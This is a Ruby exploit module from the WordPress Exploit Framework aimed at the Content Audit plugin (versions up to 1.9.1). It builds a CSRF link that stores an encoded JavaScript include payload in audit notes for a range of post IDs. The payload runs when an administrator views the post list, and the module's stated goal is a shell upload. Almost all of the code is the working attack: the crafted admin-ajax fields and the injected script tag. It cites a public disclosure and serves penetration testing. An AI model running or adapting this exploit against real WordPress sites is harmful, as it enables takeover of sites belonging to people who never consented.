# frozen_string_literal: true

class Wpxf::Exploit::ContentAuditCsrfStoredXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Content Audit <= 1.9.1 CSRF Stored XSS Shell Upload',
      desc: %(
        Versions up to and including 1.9.1 of the Content Audit plugin suffer
        from a CSRF and encoding issue, allowing for a JavaScript payload to
        be stored in the notes against a page.

        This module will create a link, which when clicked by an admin, will
        store the payload against all auditable items with an ID in the specified
        range. By default, Content Audit ships with only pages audited, but posts
        can also be audited. The payload will be executed the next time an admin
        views the page / post management area, with one of the infected items
        visible in the list.

        Note: If a specified post ID has not been yet assigned a post / page, the
        payload will be stored and executed when the ID is eventually assigned to
        a new post / page.
      ),
      desc_preformatted: true,
      author: [
        'Tom Adams', # Disclosure
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '8915'],
        ['URL', 'http://seclists.org/fulldisclosure/2017/Sep/73'],
        ['URL', 'https://security.dxw.com/advisories/csrf-xss-content-audit/']
      ],
      date: 'Aug 21 2017'
    )

    register_options([
      IntegerOption.new(
        name: 'first_post_id',
        desc: 'The first post ID to store the payload against',
        required: true,
        default: 1
      ),
      IntegerOption.new(
        name: 'last_post_id',
        desc: 'The last post ID to store the payload against',
        required: true,
        default: 100
      )
    ])
  end

  def check
    check_plugin_version_from_readme('content-audit', '1.9.2')
  end

  def vulnerable_url
    wordpress_url_admin_ajax
  end

  def first_post_id
    normalized_option_value('first_post_id')
  end

  def last_post_id
    normalized_option_value('last_post_id')
  end

  def initial_script
    fields = {
      'action'                         => 'content_audit_save_bulk_edit',
      '_content_audit_owner'           => Utility::Text.rand_alphanumeric(10),
      '_content_audit_expiration_date' => (Date.today + 7).strftime('%Y-%m-%d'),
      '_content_audit_notes'           => "<script>#{xss_ascii_encoded_include_script}<\\/script>"
    }

    Array(first_post_id..last_post_id).each_with_index { |id, index| fields["post_ids[#{index}]"] = id }
    create_basic_post_script vulnerable_url, fields
  end
end
